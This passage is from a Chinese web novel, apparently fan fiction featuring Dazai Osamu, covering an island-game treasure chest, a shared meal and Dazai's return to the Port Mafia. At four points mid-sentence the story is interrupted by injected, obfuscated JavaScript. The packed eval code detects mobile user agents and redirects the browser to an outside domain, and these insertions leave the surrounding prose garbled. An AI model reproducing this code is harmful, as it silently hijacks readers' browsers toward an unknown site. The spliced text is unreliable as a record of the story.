他拿出棉花糖怪基本都会掉落的[棉花糖团(可塑造)],取出来是一个用细长木棍串着的棉花糖。 可塑造,就是可以捏不同形状? 夏无忧拿在手里玩了会,捏出了棉花糖太宰小人,再捏出彩色版的章鱼、黑猫、小黄鸭。 他想到太宰治说过要吃章鱼小丸子,那就满足他吧,他捏了个焦糖色的章鱼小丸子,章鱼头上淋着酱汁,眼睛是眩晕的圈圈。 乍一看,像是在温泉中泡晕的小章鱼。 夏无忧想,这算是俄罗斯套娃吗? 现实中的他操控像素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743301|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小人捏出了棉花糖小人。 他被自己的想法逗笑。 打怪路上糖果吃太多了,夏无忧暂时不想再吃,就把捏好的棉花糖插在茶几上的空花瓶里。 背包一页显示出的格子是有限的,他的背包满到他需要翻页了。 夏无忧清楚这个游戏是系统为他设计的,许多地方打磨得不够好,他有任何意见都可以和系统提。 夏无忧:[管家,你可以出个背包分类吗,比如食物类、武器类、药剂类、道具类。] 系统:【已优化。】 夏无忧眼中的界面出现一阵乱码,再眨了下眼,背包就被分出了不同的分类,还多出一个标记功能,可以把他觉得重要的东西标记。 夏无忧跳过一些基础的东西,标记好了他觉得重要的东西。 【背包(星标记)】 [中级宝箱、能量水晶x1、净化石x1] 夏无忧:[管家,能量水晶和净化石是什么?] 系统:【您可以将能量水晶当做升级石,升级石内含有强大的能量,您可以吸收它,得到强大的力量。】 夏无忧:[原来如此,通过建岛游戏,我可以打败岛上的怪物,怪物会掉落部分能量给我,让我在现实中成为最强杀手。] 系统:【是。】 夏无忧:[它还有别的用途吗,可以给别人使用吗?可以增加我的经验值吗?] 系统:【没有别的用途,它仅能给您使用,也不能当经验值。】 夏无忧想到了有意思的点。 夏无忧:[这么说,我在满等级后,依然可以使用能量水晶,那样我岂不是可以无敌?] 系统:【为何不试试呢,最强代表没有上限。】 夏无忧被系统冰冷但傲慢的语言取悦,[那净化石呢,它有什么用。] 系统:【您第一块净化的区域现在的净化值是92%,如果您使用净化石,这块区域的净化值会得到一定的上升。】 夏无忧:[再说具体点,能净化多少,给我一个准确的数值。还有,如果我攒了足够多的净化石,将一块地方完全净化,里面的怪物是会死亡,还是被净化?] 系统:【净化程度按照被污染程度计算,污染越重的地方,净化石的能净化的程度越低。如果是您刚净化的区域,这块净化石可以净化10-20%的污染。】 系统:【净化石的使用是有限制的,一个区域内,您不能净化首领怪。其余精英怪被净化后会死亡,掉落物进入您的背包。】 夏无忧明白了,这净化石是给他扫尾的,他可以直接进入区域找到首领怪,将它解决后再用净化石,让区域完全被净化。 夏无忧:[什么嘛,居然是这么无趣的两个东西。] 系统:【一切道具都为辅助,您本身才是最强大的存在。】 系统:【或许将它们收集起来,某些时候会有意想不到的作用。】 夏无忧因系统意味深长的话生出点兴趣,但也没怎么放心上,说到底,这世界如何,别的世界如何,都与他无关。 游戏只要取悦他就好。 他会为游戏付出多少,这得看他是否满意。 21.交易 听了系统的话,夏无忧略过得到能量石和净化石头:[好,这两块石头先存放起来吧。] 他转而去研究自己最期待的物品——[中级宝箱]。 趁着身上的幸运加成还没有结束,他得立刻把宝箱开了。 抽卡前先来点玄学仪式吧! 夏无忧从沙发上站起,在房间里走来走去,他把他心爱的小黄鸭钟放好,准备在吉利的时间点打开。 记住当下的时间后,他去寻找一处阳光明媚,没有太宰治血手印的地方,定在自己靠窗的床上。 在夏无忧走向床时,浴室的门被推开,洗完澡的太宰小人穿着睡衣走出来,一伸手臂,拦住夏无忧问。 “忧君,你要做什么?” 这个忧字他念得缱绻,它本身的发音就足够柔和与优雅,像一场宁静悠远的潮雨。 忧有忧愁与忧伤之意,放在名字中,它象征深思熟虑与责任感。 夏无忧嘶了声,停下脚步去看太宰治,不满道:“别这样喊我。” 他的名字明明取自禅语,心若无尘,般若自在,心净则无忧,无忧则安然。 只喊一个“忧”字,太优柔寡断。 他再度强调,“治,我的名字不是拼图,不要把这些字拆开来乱拼。” 太宰治只道:“那可以为我解惑吗,你看起来像是要做一项重要且意义非凡的事。” 夏无忧没掩饰自己要做什么。 他拿出自己的中级宝箱,和之前开过的银色初级宝箱不同,中级宝箱是闪耀的金色,箱子上的花纹更加华美,在室内金光灿灿的。 夏无忧高举宝箱:“登登!这是我的战利品!” 太宰治配合地两手握成拳,仰起头,眼中出现闪光,用憧憬崇拜的语气说:“哇,是宝箱!” 夏无忧得意道:“哼哼,这不是简单的宝箱,是更高级的黄金至尊宝箱!” 太宰治:“哇——” 在夏无忧还要说什么时,他一把夺过宝箱,藏在自己身后,“不过呢,无忧的表达有错喔。” 他恶劣地宣布:“是我们的战利品。” 夏无忧被抢了宝箱,迷茫地看了眼自己的手,回过神,他悲愤地扑到太宰治身上,要抢回自己的箱子。 “混蛋太宰,你抢我东西!” 两人早上玩一人抓一人躲的追杀小游戏,这会玩起一人抢一人藏的夺宝大战。 夏无忧死追着太宰治不放。 太宰治早有预料,跑进了浴室,没关上门,而是作势把宝箱放在衣篓上威胁:“你再过来我就扔了。” 衣篓里有他刚换下的绷带和外套,重点是上面有血。 夏无忧内心一哽,面上冷笑:“区区血,你以为你能威胁到我?” 他已经不是过去的他了! 他坚毅地往前踏出一步。 太宰治似是看穿了夏无忧的故作坚强,语气轻快:“真不怕?”他把箱子往衣篓里凑了凑。 夏无忧诚实地停下了脚步,嘴硬地说:“你以为我在乎吗?我根本一点也不在乎一个金光闪闪的小宝箱,未来我会有更多的宝箱,比它还豪华,比它还漂亮,箱子上还会镶嵌满宝石。” 他瞪着太宰治,“一个宝箱而已,哪怕它脏了,我把它放水里洗洗就好了。” 太宰治:“无忧,你发现没,你嘴硬的时候话特别多。” 他把手抬高点,夏无忧的视线也跟着抬高。 太宰治发现了这个规律,再移动了点宝箱,接着说,“可是可是,我觉得对你来说,是你的就必须是你的吧。无论你以后有再多的宝箱,第一个黄金宝箱都是不一样的。” 夏无忧完美的表情终于有了一丝裂痕。 他再往前走了一步,“是呢,治好聪明,但这么了解我的话,可不是好事。” 太宰治这次没动宝箱,望向夏无忧问:“为什么不是好事?无忧也觉得自己是只怪物吗?” “也?”夏无忧勾起笑,“你畏惧我吗?” 太宰治同样懒散地笑着,“或许呢?” 隔着一点距离,浴室天花板的白炽灯光打在他们身上,因为刚放过热水,镜面和瓷砖上还有点水珠。 夏无忧扫到水珠表面凝缩的光怪陆离的人影,目光变得专注。 “骗人,你连死亡都不惧怕,为什么要惧怕我。” 太宰治捧着宝箱,他身上有种洗不掉的阴冷窒息的黑暗,就这样站着,仿佛手里捧着的是什么潘多拉的魔盒。 打开盒子,灾厄将降临在人间。 ——也许不是个假想。 “我追随的,与我畏惧的,它们不冲突。” 太宰治放慢了语速,他一定为了夏无忧改变了什么,但当人走入深渊,他们必将接触什么,而当黑暗不再是未知,它未必可怕。 可当深渊是可以被触碰的,闯入者也许会被蛊惑,生出独占或探究的欲望。 夏无忧轻轻地呼出口气,“治,你该阳光点,面对怪物,有的人会畏惧,但更多人想的是打败它们。” “会吗?” “会。” 太宰治亲昵地嗤笑:“骗子。” “只有很少很少的一部分人会想打败怪物,大部分人是漠不关心的,像被圈养的小老鼠,一边吱吱叫,一边畏缩着不动,等待着傻子挺身而出。” 夏无忧感叹:“话别说太绝对,万一你以后要当心存守护的勇者呢。” 太宰治的笑意淡了些,“我?”他很快收起情绪,“为了拿回宝箱,已经胡言乱语了吗。” 他反过来指责:“无忧才该问自己,为什么要当只怪物。” 夏无忧站久了,瞧了眼太宰治,更准确地说是对方怀里的箱子,琢磨起要不要踹倒衣篓,他嘴上道。 “只要治觉得我不是,我就不是。” 太宰治:“好违心。” 夏无忧:“好了,你到底还不还给我!” 太宰治扒着衣篓,瞧着有点想和箱子一起住进去,他的动作比什么语言都直白。 夏无忧眯起眼,“看来我是位失败的杀手。” 太宰治瞪大眼,一派无辜的模样,“要在这和我动手吗?” 夏无忧:“你以为我不敢吗?” 太宰治:“嗯哼。” 夏无忧气势汹汹地做出要掏什么的动作,在太宰治好奇的目光中,他拿出了一串章鱼小丸子棉花糖。 太宰治愣了会:“你要拿这个……攻击我?” 夏无忧阴恻恻道:“不,这是怪物的诅咒。” 他煞有其事地说,“其名为交换,你得拿出[金辉秘宝圣匣]与我交换[封印潮汐的彩虹之云]。” 太宰治:。 要他拿[黄金宝箱]交换[章鱼小丸子棉花糖],非说得这么绕口。 难道这是什么高明的伪装,让人看不懂夏无忧的真实想法,再被搅乱情绪和思路? 太宰治难得说不出什么话,他没说答应,更没拒绝,只是捧着盒子,定定看向夏无忧。 “想要的话,走到我面前打开如何?” “我拒绝。” 夏无忧哼笑,“难道你真以为我要和你交换,我要的,都得是我的。”他挥动棉花糖,一道流光落在衣篓上。 衣篓长出脚,顶着绷带组成的小木乃伊跑了。 在太宰治要拿出枪前,夏无忧的能力作用到空气,空中汇聚起水流,将太宰治的手捆住,同时水流卷着宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15760003|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱带到夏无忧面前。 金光一闪而过,夏无忧手上的棉花糖恢复原状,是幻形的权杖。 [星幻]能无中生有,将幻想变为真实,自然也能创造幻象。 真正的章鱼小丸子棉花糖还放在茶几的花瓶里,怎么可能在他背包里。 夏无忧伸出手,宝箱落在他手上,他走向太宰治,要故意当着太宰治的面打开宝箱。 太宰治垂下被捆住的手,注视着他。 夏无忧停住,瞥了眼太宰治的袖口,“是把枪放在袖子里了,还是说能凭力量挣脱?” 太宰治:“你畏惧我,不敢走近吗?” 夏无忧按住自己的太阳穴,忽然道:“这回算你赢了。” 他没把宝箱放回背包,而是交给了绷带组成的小木乃伊,再走向太宰治,掰开了太宰治的手指。 里面有一片血晶。 这是太宰治技能[斜阳]的产物,具有一定无效化的作用。 夏无忧看出来了,却说是自己输了。 夏无忧从太宰治的眼中看出了丝迷惑,他轻轻笑了起来,似乎这比输赢和宝箱都重要。 他夹出尖锐的血晶,在水流上划了下,水流断开,分散开的水溅落在瓷砖上,滴答开出水花,蔓延到他们的裤腿上。 “因为治的武器会损伤到房屋,是威胁,而我提前拿出了武器,违反了竞争的公平性,所以是我输了。” 奇怪的理由,太宰治想。 他没拿出武器,只是觉得岛屿上他得到的力量是不属于他的。 拿出血晶才算是他输了。 这会他也不确定了,夏无忧是诚心逗他,还是为了别的什么。 在太宰治凝神思索时,他的裤子被拉了下。 他低下头,见到了脚被瓷砖的水弄湿的小木乃伊,木乃伊顶着比自己大上许多的宝箱,瞧着有点可怜。 夏无忧理了下自己的衣领,宛若要推销什么的魔术师,全身散发着真诚到一定有诈的光辉。 “刚才的交易不作数,我真实的交换条件是——” 他将手放在宝箱上,因为怕被小木乃伊压趴了,只是用指腹点住,“你的入梦自由。” 夏无忧说过灵魂的不自由是种悲哀,可若是主动的呢? 梦是岛屿之主的邀请函。 他邀请太宰治入梦,奔赴这座处于现实与虚幻的岛屿,一切常理的,不常理的,超越人类认知的,他皆可化为真实。 太宰治注视着这一幕,觉得荒诞且古怪,仿佛见到一张用善与恶拼接的画,两者的交接是灰暗的。 他望了许久,不带感情地牵起唇角。 “一个宝箱,还是我和你合力拿到的,这样就想将绑架我的行为合理化吗?” 夏无忧好心情地说:“无趣的凶手才会让自己落下话柄,我要我的客人心甘情愿。” “客人。” 太宰治念了遍这个词。 夏无忧将宝箱捧到手中,解放了可怜的木乃伊,他对木乃伊的态度可比对棉花糖怪好多了。 他的动作很是随意,仿佛不在乎太宰治是否答应。 太宰治在一种人身上见到这样的从容,是手握无数底牌,自信笃定,拥有无限耐心和时间的谈判者。 那么是那种呢,是踏入骗局的赌徒,还是编织阴谋的蜘蛛? 他贴近,和夏无忧一起托住宝箱,再握起夏无忧一只手,将这只手扣在冰冷的金属表面上,脸上的笑阴郁而粘稠。 “可以,如果你不后悔。” 其实是哪种根本不重要。 他总要追逐什么,探究什么,以抵消漫长无聊的时光。 而他想要交换的不是宝箱,是夏无忧本身。 22.深海 这么好说话,就答应了? 夏无忧仔仔细细打量太宰治的表情,确定是真的后,他更疑惑了,但是没深问,转而盯住自己按着的黄金宝箱。 他问:“不开宝箱吗?” 言下之意快打开,他想看看里面是什么。 太宰治拒绝:“不开。” 夏无忧抽出被扣着的手:“诶?为什么。” 太宰治:“比起箱子的东西,难道不是箱子本身更珍贵。” 夏无忧转动手腕,幽怨道:“怎么可能,开宝箱才是最重要的,真的不开吗,你现在被幸运祝福着,是开宝箱的好时机。” 太宰治从夏无忧手上拿走了宝箱,摩挲着上面的雕刻,“我说过,我不相信幸运。” 夏无忧不舍地再看了好几眼宝箱。 他想到太宰治带不走宝箱,而自己打怪时得到了[建筑材料包x8],那么是否要给太宰治建造一座木屋,给他存放物品呢? 当然不。 夏无忧冷冷地想,太宰治不在这里常住,以后他在梦里召唤太宰治,干完活就把人踢出去,要睡什么觉。 太宰治刚来就跳湖,他瞧着洗澡也能免去。 饿了就吃点苹果,还要什么木屋。 夏无忧扬起笑,虽然开不了宝箱,但不妨碍他凑上去摸来摸去,顺带问:“亲爱的,你想什么时候醒来呢?” 太宰治大概还有个名词,叫时间吞噬机,将时间全部吞走了,哪还剩多少开荒的时间?! 太宰治则表示:“好恶劣——绑架犯压榨完受害者,居然还要把人无情抛下。” 夏无忧假笑:“森先生刚上位,虽然他暗地里策反了不少人,但要肃清先代党,也不是什么易事吧。” “担心这个?”太宰治踩着拖鞋,从浴室走出去,地毯消弭了脚步声,他和飘一样晃到沙发边,弯腰将宝箱放在茶几上。 “森医生想要当王,承担一点压力是应当的。” 他一副为森鸥外着想的样子,但心思显然不在上面,反而注意夏无忧捏的几个棉花糖,立即伸出手,选中了太宰小人,将它的脖子一扭。 夏无忧看得眼皮一跳。 太宰治满意了,不管是哪个他,都不能背弃自杀之神的号召。 放回棉花糖后,他朝着夏无忧伸出手,声音低沉悦耳,“既然杀手先生要来现实见我,与其要我醒来,何不一起醒来?” “你邀请我当客人,礼尚往来,也该来□□做客。” 夏无忧坐在太宰治对面的沙发,望了眼,不为所动。 他从背包拿出个棉花糖团,再捏了个太宰小人棉花糖,这次不给出去,而是将木签掰断,固定到手边的珊瑚摆件上。 “会去的,不过要宴请客人的话,招待方得先稳定下来喔。” 他又捏了几条章鱼,将不同颜色的章鱼棉花糖安置在珊瑚上,这样一看,如同在海底安家的小丑鱼群。 太宰治撑着脸,目光落在夏无忧的手上,“看来森先生得努力些了。” 不提还好,一提夏无忧就想到了,他立刻拿出个本子,用打普通怪物掉落的红油笔在纸上写了个“4”。 他将这张撕拉一下扯掉,拍在茶几上,推向太宰治的位置。 太宰治疑惑道:“什么数字?” 白纸上的鲜红数字让他想到死亡倒计时。 夏无忧:“是给森先生的回礼。” 太宰治:“……回礼?” 夏无忧笑着冒出黑气,“他推给我的黑锅,我认下来了,但是得罪了我,我会找他算账的。” 太宰治眼睛一亮,饶有兴致地追问。 夏无忧拍了下桌子,桌面纸张被拍得挪动了一点,“他甩我手术刀,记一笔,你掐我脖子,记一笔。他污蔑我,记一笔,你惹我生气,记一笔。” 太宰治挑选起下一个要祸害的棉花糖,面上带笑。 “可怜的森先生,我会代为转告的。” 夏无忧陷在松软的沙发上,拿起写了鲜红数字的纸,手指灵巧地翻动,将它叠成了千纸鹤,往太宰治面前一丢。 千纸鹤在空中飞了段路,落在了太宰治伸向棉花糖的手上。 夏无忧隆重宣布:“总之,我会访问的,我要让他恐惧于黑暗中如影随形的注视!” 太宰治收起千纸鹤,并没有停下祸害的手,拿起章鱼小丸子棉花糖,张口嘴一口将它吞了,大概是在报复。 他口齿不清地说:“我支持。” 棉花糖入口后融化为糖水,他的牙齿抵在细长的牙签上,撩起眼,同夏无忧讨要可以捏的棉花糖团。 夏无忧给出好几个。 这种可捏的棉花糖是一团粉白色的糖丝,和云朵一样,拿着它心中想什么,它就会变成什么。 太宰治捏起了棉花糖团,他看眼夏无忧,捏一下,再看一眼,再捏一下。 夏无忧被吸引走注意力。 太宰治:“你说要来,万一几年后才来呢。” 夏无忧:“我说要去,万一几天后就到呢。” 太宰治:“不信。” 夏无忧两手一摊,“那我也没办法。” 太宰治换了个棉花糖团开始捏,夏无忧想看是什么,可惜太宰治捏出来的东西线条太……自由了,他看不出是什么。 夏无忧别开眼,有点饿了,他捂住自己肚子,再次发问:“治想什么时候回去呢?” 太宰治直言道:“你要赶我走。” “怎么会!” 夏无忧指了下衣柜上的两件衣服,“我可是为你准备了衣服,是我们的战利品。” 这次他记得说是“我们”了。 太宰治古怪地望了眼夏无忧,“你在别的地方抠搜,怎么在衣服上这么大方。” 夏无忧心中盘着午饭吃什么,嘴上说:“因为衣服具有观赏性,你好看了,我心情就好了。” “意外的诚实。”太宰治似嘲似笑,他扫了眼两件衣服,抬手指向[猎人套装],“我要这件。” 夏无忧有点失望,“为什么不选红的。” 太宰治:“因为你是黑漆漆的杀手,穿红色才有趣嘛。” 夏无忧想象了那个画面,拍了下手:“好主意,但我要穿白色的斗篷!故事里不是常写,一场惊险的战斗后,杀手的白衣被血染红,此为不褪色的罪孽,更是令人胆寒的勋章。” 太宰治:“染血?章鱼只需要考虑把自己染成麻辣味还是孜然味。” 夏无忧沉思,更饿了。 太宰治没得到自己想要的反应,提不起精神,捏坏了手里的棉花糖团。 夏无忧切换到了下一个话题,“所以来试试新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他将书放在自己腿上,翻动了一页,翻到了太宰治的血手印。 他用红油笔在纸上画出图案,是一种奇特的文化符号。 “传说海洋深处有只沉睡的怪物,是不可直视,不可名状的存在,待到群星归位之时,祂与祂的眷属会再度崛起。大陆上存在祂的教团,信徒献祭自己,制造出锚点。” “锚点是祂降临的坐标,对我来说,治是这样的存在。” 太宰治推了下花瓶,花瓶晃动,底座在桌上打转,里面的棉花糖挤挨在一起,细竹签“沙沙”碰撞。 他将两手如幕布般合拢,挡住了棉花糖的身影,再展开手时,棉花糖们换了模样。 夏无忧总算知道太宰治捏的什么了,是无忧小人棉花糖、金麦色的猫、白鸟、小木乃伊。 两个棉花糖小人皆被太宰治捏了脖子,仿佛对殉情的苦命鸳鸯。 太宰治低头看着花瓶,“我是罪?” 夏无忧:“你是因。” “何解。” “无解。” 太宰治偏过头,“死亡呢?” 夏无忧:“我会扭转,而且,”他顿了下,“你怎知,我的到来是注定的破坏,还是意外的转机呢。” 太宰治笑了起来,“这也不是小小的横滨可以干预的事了。” 23.绣球 “那么——”夏无忧合起腿上的书,越过茶几,抓起太宰治的手,将人拉到桌子前,“吃饭!” 说起吃饭,他热情了不少。 夏无忧几步走到桌边,按住太宰治的肩,将人按坐在桌子边,再把背包里的东西一个个摆到桌上:几碟凉菜、糕点、冬瓜豆腐汤、灿金色的蟹黄炒饭。 重点是这道蟹黄炒饭。 看起来朴实无华,但准备工作多。 要在蟹黄最佳的时节,将雪白的蟹肉与金黄的蟹黄拆出,用壳熬出黄澄澄的蟹油,再挑选斤两足的虾与扇贝,剥出虾仁,晾晒干贝。 烹饪时挖一勺猪油,拍碎蒜蓉下砂锅,倒入软糯晶莹的香米,配上火腿、鸡蛋、葱花,翻炒出香味。等米粒吸饱了油香变得透亮,让海鲜入锅,紧着淋上蟹油,让不同的食材碰撞、拥抱、你浓我依。 出锅后蟹黄炒饭粒粒金黄饱满,食用时肉感丰富,是极致的蓓蕾享受。 这道菜是夏无忧特意捧着出来的,他绕着太宰治走路,让香气逸散,故意拖着时间,说上长长的介绍。 说完,他的手肘撑在太宰治的肩上,斜倚着捣了下太宰治的手臂问:“心不心动?” 太宰治趴到桌上,声音虚弱:“心动,但是再闻下去,肚子会咕噜叫着造反谋杀喔。” 夏无忧将一大盘炒饭摆到中间,空出的手撩了下太宰治柔软的乌发。 “好可怜,没办法了,开荒小队再出发,拯救被困在米饭里的螃蟹灵魂!” 落座后,他们都瞄准了看着最有食欲的蟹黄炒饭。 两人都是长身体容易饿的年纪。 胃袋中一有食物,饥饿感成倍地涌上,因此不可避免地,饭吃着吃着就打了起来。好不容易协商出对半分,分完还没吃多久,又抢了起来。 夏无忧眯起眼,夹住了太宰治的筷子,“治,蟹寒,去喝点热汤。” 太宰治转动手指,与夏无忧的筷子僵持不下,“无忧该反思自己,吃饭不用分餐制,还怪我抢吗?” 夏无忧抬高音量:“我已经够良心了,饭分了你一半,还有我哪有那么多餐碟,你吃就对了!入乡随俗!” 太宰治讽刺:“入乡随俗,入的哪个乡?” 夏无忧笃定:“我的乡!” 太宰治呵了声,眼中明摆的意思是:闯入者哪来的乡? 夏无忧傲气道:“全天下都是我的家!” 太宰治换了个姿势同夏无忧胶着,“我记得无忧说过,自己是没房没车没钱的黑户。” 潜台词,一个不被任何地方承认的黑户,哪来的全天下的家。 夏无忧眼中燃起熊熊火焰,亮到惊人,“现在不同了,我是要当传奇农夫、钓鱼王的岛主。” 他一挥手,狂妄宣布:“接下来我要半年闪击港·黑,一年拿下横滨,三年占领全世界!” 太宰治看了会,松开筷子,在夏无忧要收回手时,突破夏无忧的防线,将碟子里最后一块凉糕夹走了。 在夏无忧愤怒看过来时,他慢悠悠地,将凉糕放到夏无忧的盘子上,夏无忧的眉立刻舒展开,眼睛的线条变得圆润。 太宰治:“你认真的?” 夏无忧拿出了把餐刀,将凉糕切成两半,一半叉起放到太宰治的碗里——晃了圈,迅速放入自己口中。 仿佛只是让凉糕沾下蟹黄炒饭的油香。 他道:“当然。” 在夏无忧要叉起另一半的凉糕时,太宰治无情地抢走了这半,咬了一角,再放夏无忧眼前耀武扬威地摇动。 “所以夏君准备好与全世界为敌了?” 太宰治问。 夏无忧专心对付自己碗里的饭,抽空回答:“没办法,你我皆知,这是必然的发展。” 太宰治低下头,不走心地舀起一勺金黄的米饭。 他当然知道,早在他的灵魂被拉入岛屿上就猜到了,游戏中不只有异能,还存在着未知的能量。 所以游戏真的是场梦吗? 如果不是,代表岛屿是真实存在的。 只要夏无忧在现实里行走,他,以及他的岛屿迟早被发现,或者说,他背后的存在大费周章设计了这个岛屿,会让它永远是场游戏吗? 虽然不清楚为什么夏无忧的任务是当杀手,但不可否认,生与死是一种极端且硬性的与人产生交际的方式。 夏无忧必然会与现实产生联系。 而夏无忧本人通过言语,在暗示着什么,他一定知道些东西,但不会说出来。 夏无忧不想说的,是怎么也不会泄露半分的。 太宰治抬高手腕,吞咽着勺子上的饭,舌尖尝出了蟹肉的鲜美、虾贝的甘甜、火腿的咸润、鸡蛋的软糯,复杂的味道层层递进,口感丰富,是一种让人幸福满足的味道。 似乎吃进去的是口热气,灵魂飞入了永恒宁静的天堂。 他琢磨起夏无忧刚才提及的一句“乡”。 当夏无忧觉得世界是他的游戏,他可以理所当然地说出占领世界的话。 只有夏无忧觉得世界是他的故乡,他才会在乎别处生存着的人。 可这很困难,岛屿或将是下一场灾祸与动荡的源头。 不用夏无忧主动,若是岛屿公布在世界上,人们会想搞清楚岛屿是什么样的存在,为此千方百计地试探。 世界上因为有普通人和异能者的存在,本就天然存在矛盾和裂痕。 而这摇摇欲坠的平衡,因外来者强势的存在倾斜,自会产生可怕的后果。 当猜忌和恶意的试探落下,向着岛屿的主人涌去,夏无忧怎么可能把这里视为自己的世界。 太宰治好奇未来会如何。 他是见到雨中的蚁穴的观察者,要去记录,记录接下来是蚁穴被冲走,是蚁穴熬过了这场雨,还是共生者菌丝构成浮力结构,亦或者大半蚂蚁被溺死,幸存的蚂蚁逃离了巢穴。 实际上,夏无忧完全没想那么多,在他的世界里,基础欲望的优先级一直极高的,唯有食物和睡眠不可辜负。 他天生就具有感染力。 在他专心吃饭的时候,见到的人能感受到他发自内心的愉快和满足,无论什么样的饭,在他手上都多了层美味的光环。 让人好奇饭真有那么好吃吗? 太宰治看着看着,不自觉将饭吃干净了。 两人差不多一个时间吃完,夏无忧吃饭慢,会细细品味让他感兴趣的菜;太宰治吃饭快,但时不时要想些事情。 结束后,夏无忧擦干净嘴,将手按在桌子上,选中设置桌布,桌布换了幅模样,上面的餐盘都被清理干净。 他越过桌子,手上多出枚沾着水珠的青色葡萄。 在太宰治看过来时,他一手按住桌面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788202|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一手伸出,将葡萄抵在太宰治的唇瓣上,弯起眼,声音夹杂着丝清润的甜意。 “餐后水果。” 太宰治从中品出了一层“贿赂堵嘴”的意味。 他本能地咬下这颗葡萄,果皮破裂,沁凉清爽的果汁浸入口中,在甜味还没消失前。 夏无忧潮湿的指尖按在他的锁骨处,一推。 “那么,再见。” 眼前的人灵动狡黠地眨了下眼。 太宰治与椅子同步往后倒去,失重感中,夏无忧带笑的面庞距他越来越远。 他没有摔在地上,而是穿过了道水幕,如坠无底的海洋,感知逐一熄灭,先是细微的声音,继而是被剥离的触觉。 一股缓慢的不可抗拒的牵引力拖拽着他下坠,持续地向下,向下……沉入未知的深海。 无边的压力从四面八方挤压而来,肋骨发出绝望的声响,仿佛朵生在心脏的琉璃花朵,被水流揉碎,溶解在冰冷的海水中。 世界越发安静,遥远的地方似有鲸鱼的呦鸣,呼吸时的泡泡擦过他的脸,仿佛离群的小鱼游过皮肤。 他凝滞地抬起头,目光穿过层层叠叠、水波摇晃的幽蓝,见到了水面的光晕,惨淡的光晕如溺亡在水中的月亮。 他离水面越来越远,口中吐出的泡泡上浮,如逆行的银色圆月,要回到天上去。 月亮越来越小,最终缩成水波尽头一粒粒渺小的珍珠。 海水自眼耳口鼻灌入,他被沉重的麻木感攫住,身体却轻飘飘的,仿佛早已被水压碾成了微尘,随波逐流着。 一切变为黑暗,一切化为泡影,恍如梦影般破灭。 他知下方是黑暗,落下去,连沉重也会化为彻底的虚无——世界与之一同消散。 在这没有边界,没有时间,没有一丝光亮的深海里。 再无悲欢,再无离别,只有这永恒的、冰冷的下沉。 如他追逐的死亡。 在太宰治要闭上眼,迎接虚无的黑暗时,他的手被股温暖的力道抓住,天上的银月珍珠落下,一颗颗如坠落的星辰。 “亲爱的,好梦。” 他再次听到了夏无忧的声音,手里多出了什么,星光化作的人捏着他的手,让他抓好手里的东西。 好梦? 明明是场不打招呼的恶作剧,夏无忧却说是好梦。 可游戏才是梦。 他不是要进入梦境,是要从梦境中醒来。 梦和现实的反转错位,让太宰治生出种颠倒恍惚的错觉,而这一刻的分神引导着他的脱离。 太宰治睁开了眼,映入眼的是炽明的灯光。 他剧烈喘息着,大口地呼吸着冰冷的空气,深海中冰冷的虚无还未从灵魂中散去,便嗅到了一股淡雅幽冷的香。 他转过头,见到了一捧绣球干花。 干花。 哈——太宰治要被气笑。 要他去等一朵干花枯萎,再去见夏无忧吗? 他凝视着干花,头顶上的灯光穿过薄薄的青蓝色花瓣,投射出淡如流水的蓝影。 被抽离水分的花瓣轻盈而脆弱,在明亮的光线下,那些干枯的脉络清晰浮现,如纤薄的蝉翼。 它的色泽不比盛放时浮艳,是褪淡的苍茫、深邃、沉静,仿佛笼罩着一层朦胧的雨雾。 太宰治再次想到了夏无忧的眼眸。 24.动荡 Mafia先代首领的遗言公证人,在袭击后意外昏睡的太宰治醒来后,首领森鸥外召见。 走廊上,人们见到了这位过于年轻的少年。 乌发的少年捧着一束青蓝色的绣球干花,瘦削的肩上披着漆黑的外套,半边眼睛被绷带缠住。 暗处的人们注视他,没人敢上前。 人们畏惧他,回避见到他眼中流露出的黑暗。 走动着的太宰治没有在意,他拨弄着手中的绣球花束,花朵飒飒作响,簇簇花朵的下方有一枚暗黑色的宝石。 是夏无忧交予他的[最后的晚宴]。 在拿起这颗宝石前,太宰治想过,自己的异能力「人间失格」是否会将宝石无效化。 绣球干花还是宝石,二选一。 他得去赌自己会失去什么。 脆弱美丽没有价值的花,可决断人生死的珍贵宝石,谁都知道该怎么选。 他拿起了宝石。 当他真的触碰到宝石时,他扬起抹笑,发出一声笑般的叹息,心脏怦跳着,为即将到来的变革。 啷哐—— 电梯的大门打开。 